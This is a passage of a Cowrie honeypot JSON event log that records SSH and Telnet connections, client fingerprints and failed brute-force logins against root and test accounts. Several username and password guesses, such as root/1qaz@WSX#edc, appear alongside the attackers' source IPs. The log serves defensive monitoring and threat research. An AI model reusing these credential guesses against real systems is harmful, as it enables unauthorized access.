1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:22.166765Z","src_ip":"193.24.211.100","session":"a0500c82ce10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd-1234","message":"login attempt [root/abcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:22.619573Z","src_ip":"193.24.211.100","session":"a0500c82ce10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:23.737166Z","src_ip":"193.24.211.100","session":"a0500c82ce10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40192,"dst_ip":"159.203.135.109","dst_port":23,"session":"563f7189e837","protocol":"telnet","message":"New connection: 128.199.8.54:40192 (159.203.135.109:23) [session: 563f7189e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:28.074382Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":51358,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ea70aaab88d","protocol":"ssh","message":"New connection: 118.194.229.94:51358 (159.203.135.109:22) [session: 3ea70aaab88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:33.646048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:33.651039Z","src_ip":"118.194.229.94","session":"3ea70aaab88d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:33.806256Z","src_ip":"118.194.229.94","session":"3ea70aaab88d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test321","message":"login attempt [testuser/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:34.466190Z","src_ip":"118.194.229.94","session":"3ea70aaab88d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53064,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7219593b656","protocol":"telnet","message":"New connection: 128.199.8.54:53064 (159.203.135.109:23) [session: c7219593b656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:35.278896Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:35.623222Z","src_ip":"118.194.229.94","session":"3ea70aaab88d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.143.63.51","src_port":40224,"dst_ip":"10.17.0.5","dst_port":22,"session":"36a9db1bef36","protocol":"ssh","message":"New connection: 63.143.63.51:40224 (10.17.0.5:22) [session: 36a9db1bef36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.284462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.293569Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.42591571807861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.300542Z","src_ip":"128.199.8.54","session":"70df4c92b740","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.323117Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:3a:7f:d5:24:fc:cb:aa:4d:fc:c3:2f:47:17:5c:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJBfZLFl6hUGChr58BuY3W4F3xlb2TmR0pUhChZSERU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 92:3a:7f:d5:24:fc:cb:aa:4d:fc:c3:2f:47:17:5c:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.429373Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:3a:7f:d5:24:fc:cb:aa:4d:fc:c3:2f:47:17:5c:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJBfZLFl6hUGChr58BuY3W4F3xlb2TmR0pUhChZSERU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.433873Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:1b:b6:c2:14:0d:12:97:ae:fb:b6:82:3e:27:16:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVd/6GFPrgTNy98HW6egepclX8PBKji2G1UfQoqeBbF7TX4Id+UYpnILxXV2dkAF8HYQBH5RZI2wLlJ7KJ6rIMR9zmrMiYMwaNntfz1nDdQXdeYXEPEg5Iq6TAmoNAEX3ijF7LeP3I82O8miGYuXq0IG9PLHYtmJ72dfdSZOhe7RBj5tRA4JhjyfjusOSU7rZNBVs0ZQL1GVeG3BF0qh4TZEYKKLo0+/FCcYl3lerQBQyBP4vemxdo8/yLeRzRoo0YDf3Fh76pWwLgTWk3lDZPeIGAuFP3ueLgb3pfz5EVeEVwVWJCKaAmCUR+sEJl/jStqANLB2aWvRSyNoX53v2qWLkig4axc0EmKN9LMr4IP86tJzPRKgChEUnx3edACABDkcsbP89eR2r+OHNfyJluq7BazT9PPilV6kepoTA85MQZk43Tt8T44d+Q1dgBytBd9REBNnulxPN/rgMXQK3jwF9bhYOBUhG4E5kimycoCK6Z9MWQ9rFBDuhcwX7QedIDumUNgTgok8g5pOVPi980Zu2jxzfr1ZsGfgts340NY/4G9ZeTMF8n+E9AaiLfnYWLf83QolILLuRRLUsdbpCrFG7NCL/nD8B8Ybpc7lmoopqX8uS1dc2XFfS0cYxwWbL+DeLCEAJdD4cf7LKTnisQMrMC7LJMxwOEnAbjiHpevw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:1b:b6:c2:14:0d:12:97:ae:fb:b6:82:3e:27:16:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.465282Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:1b:b6:c2:14:0d:12:97:ae:fb:b6:82:3e:27:16:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVd/6GFPrgTNy98HW6egepclX8PBKji2G1UfQoqeBbF7TX4Id+UYpnILxXV2dkAF8HYQBH5RZI2wLlJ7KJ6rIMR9zmrMiYMwaNntfz1nDdQXdeYXEPEg5Iq6TAmoNAEX3ijF7LeP3I82O8miGYuXq0IG9PLHYtmJ72dfdSZOhe7RBj5tRA4JhjyfjusOSU7rZNBVs0ZQL1GVeG3BF0qh4TZEYKKLo0+/FCcYl3lerQBQyBP4vemxdo8/yLeRzRoo0YDf3Fh76pWwLgTWk3lDZPeIGAuFP3ueLgb3pfz5EVeEVwVWJCKaAmCUR+sEJl/jStqANLB2aWvRSyNoX53v2qWLkig4axc0EmKN9LMr4IP86tJzPRKgChEUnx3edACABDkcsbP89eR2r+OHNfyJluq7BazT9PPilV6kepoTA85MQZk43Tt8T44d+Q1dgBytBd9REBNnulxPN/rgMXQK3jwF9bhYOBUhG4E5kimycoCK6Z9MWQ9rFBDuhcwX7QedIDumUNgTgok8g5pOVPi980Zu2jxzfr1ZsGfgts340NY/4G9ZeTMF8n+E9AaiLfnYWLf83QolILLuRRLUsdbpCrFG7NCL/nD8B8Ybpc7lmoopqX8uS1dc2XFfS0cYxwWbL+DeLCEAJdD4cf7LKTnisQMrMC7LJMxwOEnAbjiHpevw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.469274Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:8d:78:e2:45:57:fb:17:22:04:06:eb:b0:ef:46:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMPpZ3k/8VOc2IsuWll2wbp9jgRjFqe6Q7pynp//oKU0RuYgJgCRh2x7hcbMQcdn/Q4cL6hY0sMp7a+kWOpUmZ9t6SOyUtetR6UDjeDppYiQnjw2htO57deXULOVk4V4xMs0uTFqzMAU0vhjBaDiEDTqzgprgrskPzE7x6KrT3w9xEs/w7RvXGjoTaRxpxxpG9L6cqAr49o1Q7EB+OQ2elBaoQnGkF4WqoMPfZ+dOan0bD1FNltBfYEsWw/vi3czH0d2qSdNodJDyvFU1oFCEBD8NMJ0FX6b2yfxZRRzf1e7V/+4LyT9oAxeA1ObOK47Qc3vdSNfYszEZR81svt+J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:8d:78:e2:45:57:fb:17:22:04:06:eb:b0:ef:46:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.495884Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:8d:78:e2:45:57:fb:17:22:04:06:eb:b0:ef:46:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMPpZ3k/8VOc2IsuWll2wbp9jgRjFqe6Q7pynp//oKU0RuYgJgCRh2x7hcbMQcdn/Q4cL6hY0sMp7a+kWOpUmZ9t6SOyUtetR6UDjeDppYiQnjw2htO57deXULOVk4V4xMs0uTFqzMAU0vhjBaDiEDTqzgprgrskPzE7x6KrT3w9xEs/w7RvXGjoTaRxpxxpG9L6cqAr49o1Q7EB+OQ2elBaoQnGkF4WqoMPfZ+dOan0bD1FNltBfYEsWw/vi3czH0d2qSdNodJDyvFU1oFCEBD8NMJ0FX6b2yfxZRRzf1e7V/+4LyT9oAxeA1ObOK47Qc3vdSNfYszEZR81svt+J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.499710Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:56:21:1b:9b:d7:1c:98:a2:dc:30:c6:03:e0:33:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5mMVwe53kz/PUlp5LG96dotMi/Gjkx5tkDaLF8bor16KoRqiWsJ2N7NcumdS8xAOAgmmIIFt+5Mu/44wygdCUwPVC3juTbHRf4bLzIL2zlo8GHJYKVwV95Sy+gQVkwdL/t4AktM/8WB8oKgZgODfr3Bw0tcyajFoZf0QJ/6w7tde5AXm14/zCmhRS3H9JYd7sOJ26YQw55XcAoNb7A/fg/AVnoN+kdblJYFYYUjOa4UJFFcHU/Cy60tCewvmKAUqVR5bQooQd1lk+aMRRR4N6Gu2uN+eaFrmlG9OWTfYNxxNg0lrBm7mt0WLMQpBj3A/zNPN1oyKWZrAGVw4oXLlh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:56:21:1b:9b:d7:1c:98:a2:dc:30:c6:03:e0:33:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.528564Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:56:21:1b:9b:d7:1c:98:a2:dc:30:c6:03:e0:33:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5mMVwe53kz/PUlp5LG96dotMi/Gjkx5tkDaLF8bor16KoRqiWsJ2N7NcumdS8xAOAgmmIIFt+5Mu/44wygdCUwPVC3juTbHRf4bLzIL2zlo8GHJYKVwV95Sy+gQVkwdL/t4AktM/8WB8oKgZgODfr3Bw0tcyajFoZf0QJ/6w7tde5AXm14/zCmhRS3H9JYd7sOJ26YQw55XcAoNb7A/fg/AVnoN+kdblJYFYYUjOa4UJFFcHU/Cy60tCewvmKAUqVR5bQooQd1lk+aMRRR4N6Gu2uN+eaFrmlG9OWTfYNxxNg0lrBm7mt0WLMQpBj3A/zNPN1oyKWZrAGVw4oXLlh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.532830Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f8:31:a6:c9:50:b9:8e:fa:8c:e3:1d:ab:63:07:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc/cEhlkppDoJ+MvaHx4I1cD8WSlFiugtqCmSZZDtXoC2cn3O+yy9gHAgWJLGOvWzPaJbp7StYDd4iOScJ397CBCcDdCQBTijRsOqDRXUuC/WcT/VetJm6ZXQu7D3FGqm+SLMBNmZfKX7uG5FxKZhZhomqEG2jLhqPTnfhBIklVzBY+LZfaWA8arP2mZmv1GNJ5aGMwGTLKL+TfUHGrQrqIqi7Ka0WGRZgt1oCw25iHO9gwrZf12/gHCQIykliK4n/n5do7/46bC0w2eKEYMgK+Y6NNrhzFefad0TEacV/kYrzKjiopTrMPX1Sh5J4EdZirDmKk6wHft9S5eZNmEvF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:f8:31:a6:c9:50:b9:8e:fa:8c:e3:1d:ab:63:07:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.560793Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f8:31:a6:c9:50:b9:8e:fa:8c:e3:1d:ab:63:07:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc/cEhlkppDoJ+MvaHx4I1cD8WSlFiugtqCmSZZDtXoC2cn3O+yy9gHAgWJLGOvWzPaJbp7StYDd4iOScJ397CBCcDdCQBTijRsOqDRXUuC/WcT/VetJm6ZXQu7D3FGqm+SLMBNmZfKX7uG5FxKZhZhomqEG2jLhqPTnfhBIklVzBY+LZfaWA8arP2mZmv1GNJ5aGMwGTLKL+TfUHGrQrqIqi7Ka0WGRZgt1oCw25iHO9gwrZf12/gHCQIykliK4n/n5do7/46bC0w2eKEYMgK+Y6NNrhzFefad0TEacV/kYrzKjiopTrMPX1Sh5J4EdZirDmKk6wHft9S5eZNmEvF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.567451Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:48.598104Z","src_ip":"63.143.63.51","session":"36a9db1bef36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41874,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a853b8f986","protocol":"telnet","message":"New connection: 128.199.8.54:41874 (159.203.135.109:23) [session: 34a853b8f986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:01.952373Z"}
{"eventid":"cowrie.session.closed","duration":36.239999771118164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:04.314253Z","src_ip":"128.199.8.54","session":"563f7189e837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd73968dd90b","protocol":"telnet","message":"New connection: 128.199.8.54:59768 (159.203.135.109:23) [session: fd73968dd90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:07.423654Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48570,"dst_ip":"10.17.0.5","dst_port":22,"session":"337b39ede6e2","protocol":"ssh","message":"New connection: 103.15.226.202:48570 (10.17.0.5:22) [session: 337b39ede6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:07.463326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:07.468260Z","src_ip":"103.15.226.202","session":"337b39ede6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:07.709352Z","src_ip":"103.15.226.202","session":"337b39ede6e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX#edc","message":"login attempt [root/1qaz@WSX#edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:08.434321Z","src_ip":"103.15.226.202","session":"337b39ede6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:09.680961Z","src_ip":"103.15.226.202","session":"337b39ede6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.13632869720459,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:11.415084Z","src_ip":"128.199.8.54","session":"c7219593b656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41860,"dst_ip":"159.203.135.109","dst_port":23,"session":"5526cac1b6a6","protocol":"telnet","message":"New connection: 128.199.8.54:41860 (159.203.135.109:23) [session: 5526cac1b6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:12.297225Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7702,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c36439ca55","protocol":"telnet","message":"New connection: 212.55.149.117:7702 (10.17.0.5:23) [session: 91c36439ca55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:13.562036Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51534,"dst_ip":"159.203.135.109","dst_port":23,"session":"db858a1b85d8","protocol":"telnet","message":"New connection: 128.199.8.54:51534 (159.203.135.109:23) [session: db858a1b85d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:17.016445Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61556,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4f7f7136df","protocol":"telnet","message":"New connection: 212.55.149.117:61556 (10.17.0.5:23) [session: be4f7f7136df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:29.510945Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56000,"dst_ip":"159.203.135.109","dst_port":23,"session":"abff87b10827","protocol":"telnet","message":"New connection: 128.199.8.54:56000 (159.203.135.109:23) [session: abff87b10827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:32.729642Z"}
{"eventid":"cowrie.session.closed","duration":32.3634774684906,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:11:34.315583Z","src_ip":"128.199.8.54","session":"34a853b8f986","protocol":"telnet"}
